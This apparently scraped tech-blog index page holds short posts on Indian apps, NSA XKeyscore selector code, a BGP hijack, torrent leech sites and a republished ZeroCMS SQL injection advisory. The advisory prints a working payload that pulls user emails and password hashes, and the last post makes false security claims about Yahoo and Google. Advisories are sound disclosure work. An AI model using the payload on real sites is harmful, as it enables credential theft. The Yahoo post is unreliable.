ICICI Bank brings another app for customers to track deliverables

ICICI Bank is the second largest bank in India in terms of assets and market capitalization. With a network of 3,539 branches, the Indian multinational bank has a presence in 19 countries.
ICICI Bank launched their mobile banking app – iMobile – last month after a long wait, but have followed it up nicely with a simultaneous platform launch of iTrack, the bank's official deliverable status tracking application.
iTrack offers an easy and convenient to check the status of deliverables dispatched to you by ICICI Bank like statements, letters, and cheque books. The app offers status of deliverables sent for your savings, current, loan as well as demat accounts.

The app features an account number or air waybill number (sent by the bank as an SMS) based search to track the status. The dispatch status for the deliverables are - Shipment dispatched, In-Transit - Awaiting Delivery information, Shipment Delivered, Contact Customer care or Nearest ICICI Bank Branch, or Undelivered - Returned to Bank.
You can also add a particular deliverable as favorite to keep a watch on a critical delivery, or you can use the history option to quickly view the previously searched deliverables. The app also packs in direct access to the bank's call center numbers
ICICI Bank's iTrack app is pretty handy app, and I'm surprised that other banks don't have this integrated facility, and are instead making customers rely solely on shipment tracking provided by delivery agencies. Being an Android port, iTrack doesn't have the best UI, but it is quite functional and a good app to have if you are an ICICI Bank customer. Download the iTrack app for free for Windows Phone 8 devices from the Windows Phone Store, and let us know how you like it.

Read more ...

Yatra launches App For Windows Phone

Yatra.com is an Indian website dedicated to offering a more convenient way to purchase tickets and book flights online. The website has just released an official app for Windows Phone, pulling down its user-friendly experience to Microsoft's mobile platform. As well as being an official app for Indian consumers, the development team has done an excellent job on the design and overall layout of the Windows Phone app itself.
With the app downloaded and installed, it's possible to book both domestic and international flights for one way and roundtrip bookings. All the popular domestic airlines are supported, including Indigo, Spice Jet, Go Air, Jet Airways, Air India, Air Asia, and Air India Express. There's the option to save credit card and traveller details for future bookings, which makes the process even simpler when returning to Yatra to book another journey.

Lastly, users are also able to view baggage details for domestic flights and book travel insurance. It's a neat app, one we're sure many will enjoy using. If you have some feedback for the team behind the app on how to improve the experience for other Windows Phone owners, be sure to get in touch with them at apps@yatra.com.

• Download Yatra for Windows Phone

Read more ...

Beware of NSA If You Are Privacy Conscious and Security Enthusiast Friday,

 

 

We all are aware of the National Security Agency’s (NSA) mass surveillance program to track non-Americans. Thanks to former NSA contractor Edward Snowden, who provided confidential documents about the widely spread surveillance programs conducted by the government intelligence agency such as NSA and GCHQ.

A recent story about NSA surveillance broke when a German public broadcaster ARD published that the Agency is using its surveillance program XKeyScore to target users who use encryption and traffic anonymizing software, including Tor Network for anonymous Web browsing and Linux-based Tails operating system in an effort to keep tracks of people outside the US.

XKeyScore is a powerful NSA surveillance program that collects and sorts intercepted data, which came to limelight in documents leaked by former NSA contractor Edward Snowden last summer, but the greater detail in an investigation conducted by American security expert and Tor Project member Jacob Appelbaum, Aaron Gibsom, and Leif Ryge shows that how the agency monitors people trying to protect their privacy online, may have not come from the documents Snowden provided to journalists.

Tor network offers users browse the Internet anonymously and is mostly used by activists, journalists to conceal their online activities from prying eyes. Whereas, Tails is a live media Linux distro designed boot into a highly secure desktop environment and is different because it is aimed at the privacy conscious “normal user” rather than government workers.

The documents for the NSA’s XKeyscore Internet surveillance system also indicate that the NSA was apparently capturing the traffic of anyone reading a wide range of articles on Linux Journal website and gathering up information of the visitors.

The documents provided by Snowden on X-Keyscore last year indicated that the surveillance program allowed NSA officials to obtain a person's phone number or email address, read the content of email, and track full Internet activity including browsing history without bothering the need of any warrant.

The analysis of the top-secret source code for X-Keyscore the NSA uses to conduct internet surveillance indicates that the program targeted at least two German Tor Directory Authority servers, one based in Berlin and the other in Nuremberg, as well as individuals using Tor.

It’s not just Tor and Tails the NSA is collecting data from. The report also reveals this code:

// START_DEFINITION
/*These variables define terms and websites relating to the TAILs (The Amnesic Incognito Live System) software program, a comsec mechanism advocated by extremists on extremist forums. */
$TAILS_terms=word('tails' or 'Amnesiac Incognito Live System') and word('linux' or ' USB ' or ' CD ' or 'secure desktop' or ' IRC ' or 'truecrypt' or ' tor ');
$TAILS_websites=('tails.boum.org/') or ('linuxjournal.com/content/linux*');
// END_DEFINITION

"Months of investigation by the German public television broadcasters NDR and WDR (ARD), drawing on exclusive access to top secret NSA source code, interviews with former NSA employees, and the review of secret documents of the German government reveal that not only is the server in Nuremberg under observation by the NSA, but so is virtually anyone who has taken an interest in several well-known privacy software systems," reads the ARD report.

However, the source code also reveals that the NSA has targeted a German student who runs a Tor node, under the XKeyscore program. Still, it is unclear how ARD obtained the NSA source code, and the broadcaster made no mention in its report of Snowden, or the documents he leaked.

UPDATE

In response to ARD's allegations relating to the details uncovered in the Xkeyscore source code, the NSA provided the following statement:

“NSA collects only what it is authorized by law to collect for valid foreign intelligence purposes - regardless of the technical means used by foreign intelligence targets. The communications of people who are not foreign intelligence targets are of no use to the agency.

In January, President Obama issued U.S. Presidential Policy Directive 28, which affirms that all persons - regardless of nationality - have legitimate privacy interests in the handling of their personal information, and that privacy and civil liberties shall be integral considerations in the planning of U.S. signals intelligence activities.

The president's directive also makes clear that the United States does not collect signals intelligence for the purpose of suppressing or burdening criticism or dissent, or for disadvantaging persons based on their ethnicity, race, gender, sexual orientation, or religion.

XKeyscore is an analytic tool that is used as a part of NSA's lawful foreign signals intelligence collection system. Such tools have stringent oversight and compliance mechanisms built in at several levels. The use of XKeyscore allows the agency to help defend the nation and protect U.S. and allied troops abroad. All of NSA's operations are conducted in strict accordance with the rule of law, including the President's new directive.”

Read more ...

Cydia Updated for iOS 7!

When the new iOS Jailbreak was out, MobileSubstrate and Cydia were not yet ready for the new iOS version.
Today, the new Cydia has been updated and I believe the results are exciting.

Read more ...

ZeroCMS v1.0 SQL Injection Vulnerability

ZeroCMS v1.0 SQL Injection Vulnerability (zero_transact_article.php article_id POST parameter)

Vendor: Another Awesome Stuff
Product web page: http://www.aas9.in/zerocms
Affected version: 1.0
Severity: High
CWE: 89 - http://cwe.mitre.org/data/definitions/89.html
CVE: CVE-2014-4194
Date: 20/06/2014

Discovered by: Filippos Mastrogiannis (@filipposmastro)

--------------------------------------------------------

ZeroCMS is a very simple Content Management System Built using PHP and MySQL.

Description: ZeroCMS v1.0 is vulnerable to SQL Injection.

The user input which is passed via the "article_id" POST parameter of "zero_transact_article.php"
is not properly sanitised allowing the attacker to inject arbitrary sql code and to
execute queries to the database in order to extract sensitive information (e.g. credentials) and/or
to take over the database/system.

Proof Of Concept:

A part of the sqlmap output:

POST parameter 'article_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 261 HTTP(s) requests:
---
Place: POST
Parameter: article_id
..
...
....
---
[XX:XX:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0
[XX:XX:XX] [INFO] fetching current database
current database:    'zero'
..
...
....
--------------------------------------------------------

Proof Of Concept:

Request:

POST /zerocms/zero_transact_article.php HTTP/1.1
Cache-Control: no-cache
Referer: http://[Removed]/zerocms/zero_comment.php?article_id=9
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Accept-Language: en-us,en;q=0.5
Host: [Removed]
Cookie: PHPSESSID=[Removed]
Accept-Encoding: gzip, deflate
Content-Length: 53
Content-Type: application/x-www-form-urlencoded

action=Submit+Comment&article_id='&comment_text=3

Response:

HTTP/1.1 200 OK
Date: [Removed]
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Expires: [Removed]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 226
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', 3, "2014-XX-XX XX:XX:XX", ' at line 4

--------------------------------------------------------

Exploitation:

For example if we want to extract: user_id, email, password from the database use the following payload in the article_id parameter of the POST request:

action=Submit+Comment&article_id=5+and+(select 1 FROM(select count(*),concat((select+concat(email,0x3a,user_id,0x3a,password,0x3a) FROM zero_users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)&comment_text=3

(The database name in our setup is: zero & the session is from an authenticated user)

If we look at the response we can see the extracted data:

Duplicate entry 'admin@domain.com:1:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:1' for key 'group_key

'Source=Internet :D

Read more ...

Google Public DNS Server Traffic Hijacked

The Internet is becoming a dangerous place day-by-day and especially for those innocent web users who rely on 3rd party services. The latest bad news is that the World's largest and most widely used Google's free public DNS (Domain name system) resolvers raised security red flags yesterday.

DNS is the master address list for the Internet, which translates IP addresses into human readable form and vice versa. According to Internet monitoring firm BGPmon, Google's DNS server 8.8.8.8/32 was hijacked yesterday for 22 minutes.

The Google's DNS server handles around 150 billion queries a day and during the 22 minutes of hijacking, millions of Internet users, including Financial institutions, Governments were redirected to BT’s (British multinational telecommunications services company) Latin America division in Venezuela and Brazil.

It is suspected that Hackers exploited a well-known vulnerability in the so-called Border Gateway Protocol (BGP), which is used to exchange data between large service providers, and hijacking could allow the attackers to simply re-route the traffic to a router they controlled. 

BGP attack is the man-in-the-middle attack at large scale and harder to detect, as the traffic still reaches its legitimate destination and which was first demonstrated in 2008 by two security researchers - Tony Kapela and Alex Pilosov.

It's not the first time when Google Public DNS service has been hijacked. In 2010, DNS server traffic was hijacked and redirected to Romania and Austria.

Read more ...

Microsoft sells your Information to FBI; Syrian Electronic Army leaks Invoices

Till now we all were aware about the truth that tech companies gave legal access to user data on the government's request, but we were unaware that well known tech companies also charge the government for providing data.

Syrian Electronic Army (SEA), the pro-hacker group, who had compromised Microsoft's Twitter account and blog, earlier this year and Microsoft did announce a breach on its blog earlier this year. "It appears that documents associated with law enforcement inquiries were stolen,".

It seems that they have achieved something bigger than we expected by once more targeting Microsoft.

This time the SEA hacking group has managed to successfully get into the FBI's super-secret Digital Intercept Technology Unit (DITU), where they found the actual invoices from Microsoft; detailing how much each request for data cost, which means that the company charges for every document they provide to the FBI agents, Daily Dot reported.

The invoices above shows that Microsoft charged the DITU $145,100 in December 2012, at a rate of $100 per data request. In August 2013, the per-request rate increased to $200 and the latest Invoice dated November 2013, showed a charge of $281,000.

These documents show how frequently the government calls on tech companies for information and could be possible that Microsoft isn't the only company that charges the government for compliance with data requests.

The group aligned with president Bashar al-Assad, is popular for targeting western countries and media and had victimized various high-profile brands and VIPs’ twitter accounts and websites, like Forbes, Obama, Facebook, CNN, eBay and PayPal in the past using phishing techniques, and recently claimed to compromise central repository of US central command (CENTCOM).

Read more ...

Free Indian VPN Givaway

i am going to give you new TCP + UDP based Indian VPN
also many server situated through out the world

hope you will be happy

Lets Visit This Link From Below

http://www.bucklor.com/free_trial/

 I am Adding Some Screen Shots Regarding This



one more

Read more ...

TubGet | Download Videos From Online Video Broadcasters .

Tubget is an online web service which allows downloading of videos from YouTube and Vimeo.

• Just type in the URL of the video from YouTube or Vimeo and click on start.
• Once done, the video will be processed and will be ready to be downloaded. It also gives option for cropping the video before you download it.
• Users can also select sound quality, video resolution along with the type of file you want the video to be downloaded into.
• It supports AVI, MOV, MP4 and other popular video formats.

Try out TubGet and do drop in your comments.

Link: TubGet

Read more ...

Top 5 Websites to Download Torrents via IDM

With the help of new Cloud sharing websites, Downloading Torrnets directly is much easier now. There are numerous of Paid and free torrent leeching websites which allow you to download any torrents direly via your browser. Here we have reviewed the Latest 5 Websites to Download Torrents via IDM easily.

Websites to Download torrents directly

Many of your favorite content like Games, Movies or any applications are only available in torrents but Downloading torrents via Utorrent takes a lot of times also the speed will be depended on the torrent health, but here the torrent caching websites downloads the complete torrent file on their Server and will give you option to Download it via IDM or sdave in your Dropbox, google Drive, etc. Also the speed for downloading torrents directly is 10 times fatter as  what you get on Uttorrent. So leave the traditional method and check out these exclusive websites for your torrent downloading needs.

Why Download Torrents via IDM?

IDM is the most popular Download manager for Windows patform, it comes with spueroir way to manage your downloads and also helps to downloads videos from online streaming sites,similarly torrents can be also downloaded with IDM using the 5 Awesome websites.  The benefits to download torrents via IDM are listed below:

• Faster downloading of torrents upto 10x faster than utorrent
• No ned of any torrnet downloading client.
• No need to worry about torrent health as it is being downloaded from direct server.
• No Additional app required, you may download it in your smartphone also
• You may browse content inside torrents before downloading and select which content you require to Download
• You can directly save Torrnets to Dropbox r other Cloud Storage to Download it in future

There are numerous of methods and tricks for Downloading Torrents directly scattered over the web but it is better to use the best method for getting your Torrents downloaded via IDM at super fast speed. There are hundreds of websites for leeching torrents but there is always some limitations and restrictions in each, Hence we have shared the Top 5 Websites to Download Torrents via IDM
1. Putdrive.com  The world’s 1st Online Cloud Downloader 

PutDrive.com is a genius Online cloud Downloader which downloads torrents or any content from different hosts at super fast speed. It can download Torrents, 100% Anonymous and really fast with incredible speed as compared to other downloads. There is no Speed restrictions in its premium or free plan.
You get free  10 GB usage on free accounts, however you can always switch to its premium for Unlimited bandwidth, Or you can create more free accounts. Apart from Torrents putdrive providers downloading files from 85 hosts with super fast speed. You can also stores your Files in Dropbox or other files storage which will enable you to download later
Visit Putdrive.com and start downloading your Torrents at super fast Speed.
2. Yur.me –  100% Free Instant darg and drop sharing

Yur.me is a new Online cloud Downloading service which is 100% Free without any limitations. With Free Service like premium Yur.me is getting popular all over Internet You can easily download Torrents directly via Yur.me by simply registering a free account and uploading your torrent file or magnet link.

Yur.Me First downloads the complete torrent on their server, (This will take time depending on the size of torrent) and then you may download it directly from Yur.me server with full speed. You may also share files with free 5 GB od storage for every account. It also have mobile version of the website, hence smartphones user’s should use yur.Me for downloading their torrents directly.

Visit Yur.Me to download torrents and share it online for free

3. PCloud.com – Your Files Everywhere

Pcloud is another trending Online cloud Downloader and bit torrent downloader which have much unique features than other competitive websites. Their popularity lies is because they have their Official app for iOS and Android user’s. They have tons of features including offline access and Multiple host support.

pc.cd is used as its official link shortner for Pcloud files. Pcloud is a simple to use Browser Web app for downloading your torrents files directly without any Speed or size limits. Their Free plan provided 10 GB bandwidth for free, Moreover you can make more accounts or switch to premium for using Unlimited.

Signup at Pcloud.com and get 10 GB of access free

4. Boxopus - Download Torrents directly to your Dropbox

Boxopus enables you to Download torrents remotely to your DropBox Account, Also you may download the torrents using IDM if you wish to. Boxopus works same like the website shared above, You need to ]paste the torrent magnet link or upload .torrent file and boxopus will initiate to cahce the torrent which is then avalible for Directly dwnload or you may copy it in your Dropbox account to download in future.

Boxopus interface is easy, clean and 100%  Free, All you need is to sig up anc create a account for downloading your torrents at high speed. Boxopus is currently in beta stage and hence there is no Premium plans for it, Soon they will release their premium plans with much exciting features and unlimited traffic.

Visit Boxopus.com now to Download your torrent into your Dropbox

5. Zbigz.com – The online BitTorrent Client 

The last but not the least, Zbigz.com is the most popular and best Online torrent downloading client. Popularity of Zbigz lies in its simplicity it only deals in caching your torrents and make it avalible with direct download link from ZbigZ servers.
On ZbigZ there is nothing to install or nothing to configure, Its interface is the easiest to download torrents despite your ISP’s restrictions. They have the fastest speed to cache torrents with super fact download speed. Their free version is ok but it have speed and traffic limits, and In their premium version it doesn’t have any limitations you can use it unlimited. There are many ZbigZ Premium cookie tricks available over the net, you can use them or better buy premium membership.
Visit ZbigZ.com to cache your torrents and download them instantly

Credits to Ali Akbar Fakhri And The Original Author & Me :p

Read more ...

18 Best Free Link Generators !!

Bytebx- http://bytebx.com/storage :-> Torrent

Filestream- https://site.filestream.me/agreement :-> Torrent / Depositfiles / Letitbit / Turbobit / 4shared

Dirpy:- http://dirpy.com/ > Youtube / Dailymotion / Vimeo / Soundcload

Zbigz- http://zbigz.com/ :-> 8Gig free torrent

Clipconverter- http://www.clipconverter.cc/ :-> Youtube

mp3avi - http://mp3avi.com/ :-> Youtube and OTHER media sites

Leechbox - http://leechbox.us/index.php : -> Depositfiles / Filefactory / Hotfile / Filepost

preemlinks- http://preemlinks.com/generator.php :- > Extabit / Megasghares /Filefactory/ Uploaded / Turbobit/ Filecloud / Putlocker

4server- http://www.4server.info/ :- >4shared

Moretoolsonline- http://moretoolsonline.com/ : – > 4shared / Turbobit

mega-debrid- http://www.mega-debrid.eu/ :- > Uptobox / Uploading / Iclouad / Mediafire / Crocko / Cramit /Ifile


simply-debrid- http://simply-debrid.com/generate.php :- > Uptobox / Mixturecload / Videobb / Videozer / Kickload

Link-leech- http://link-leech.info/ :- > Netload / Uploaded =30 GB daily

link-files- http://www.link-files.com/ :-> Turbobit / Rapidshare

fre.issvik- http://fre.issvik.net/index.php : – > Letitbit / Uploaded ->max file size = 100 mb

vnlinks- http://vnlinks.org/ :-> Real-debrid / Hotfile / Rapidshare / Depositfiles / Netload / Uploading / Uploaded / Bitshare / Filesmonster / Extabit / Rapidgator / Ryushare

ExpiredLeech- http://www.exrapidleech.info/index.php : – > Hotfile / Netload / Uploading / Crocko / Share-Online / Megashare / Megashares / Freakshare / Filefactory / Rapidgator / Uploaded

Juba-get - http://juba-get.com/gratis : -> 4shared / Bitshare / Crocko / Cloadzer / Depfile / Extabit / Filefactory / Filerio / Filepost / Freakeshare / Gigasize / Hotfile / Letitbit / Lumfile / Mediafire / Megashares / Mixturecload / Netload / Peejrshare / Putlocker / Rapidgator / Redtube / Sendspace / Share-online / Sockshare / Turbobit // Uploaded / Uploading / Uptobox / Youtube / Hipfile

Read more ...

Free 10 rs recharge latest & Working

Back with new working recharge trick working in all NETWORK in all over INDIA

so use it before it closed

many if member Know this so its For Only T3CHKKING MEMBERS

so open link in chrome and........

join with your mobile number
then watch video and all is done recharge is DONE

so here is link....

http://mcent.com/

Read more ...

Mobile Number Portability [MNP] ~ Detailed Info

1. To begin with, you need to generate UPC (Unique Porting Code) by sending SMS to 1900.

--UPC is an alphanumeric code allocated, upon request, by a mobile operator to its subscriber for the purpose of facilitation of porting of his/her mobile number to another operator.

• SMS to be sent : PORT to 1900.

Operator SMS charges will be applicable.

• Eg. SMS PORT 98XXXXXXXX to 1900

2. After sending SMS to 1900, you will receive UPC (Unique Porting Code) as a SMS from 1901 giving 8 digit alpha-numeric Unique Porting Code (UPC) and UPC expiry date in MM/DD/YYYY format.

3. Visit your nearest outlet (which operator wants you to port) showroom.

4. Fill Mobile Number Porting (MNP) form providing details like-

• Current Mobile Number

• Current Operator name

• UPC code
5. Submit Address & Id proof documents, self-attested photo and last bill copy of postpaid connection (if applicable) along-with filled MNP form and Customer Agreement Form.

6. Buy the MNP SIM card from outlet / showroom. SIM charges, talktime value and porting charge are non-refundable in the event of cancellation / rejection of port-in request.

7. Your new operator will send an SMS on your old/existing operator's SIM (existing connection) intimating about the porting date and time, i.e. the date and approximate time till when you can continue to use your existing operator's SIM card.

8. There will be a 2-hour ¡®no service period which will begin after the porting time as given above. The ¡® no service period¡¯ will be between 12 midnight to 5 am during which your mobile service will not be active on any SIM. All efforts will be made to ensure that this ¡®no service period causes minimum inconvenience to you.

9. After the ¡®no service period , you can replace your existing operator ¡¯s SIM card with the new airtel SIM card in your handset.

Call Toll Free Number

1800 103 1111 .

Once your SIM card is activated you would be ready to enjoy high-quality network, innovative value added services and best-in class customer service using your

existing mobile number.

Thank you.

Read more ...

New Intresting FB News nd A Warning

The Fox Times revealed a lengthy report on fb
victims who use gmail to login or use it for fb
verification purposes.
Rather,using a yahoo id or mobile no. is the
safest way from being hacked.
Since,yahoo doesn't use JAVA-ME JRT to
secure its whole data.
it uses more sophisticated CPP technology to
encrypt all its database..
Google,being a business giant still uses this old
JAVA
Recently,2 days ago(from 8th january).. Yahoo
had strengthened its security protocols by using
military grade 1024- bit SSL encryption keys
which was before used by PENTAGON,USA.
from now,all our yahoo,ymails cant be hacked
by any "mother-hacker" since it requires
authorisation probes like google bots for every
login.
So, yahoo now uses more advanced SSL to
encrypt & protect its user info.
Also,yahoo's SSL is more powerful than our fb

Read more ...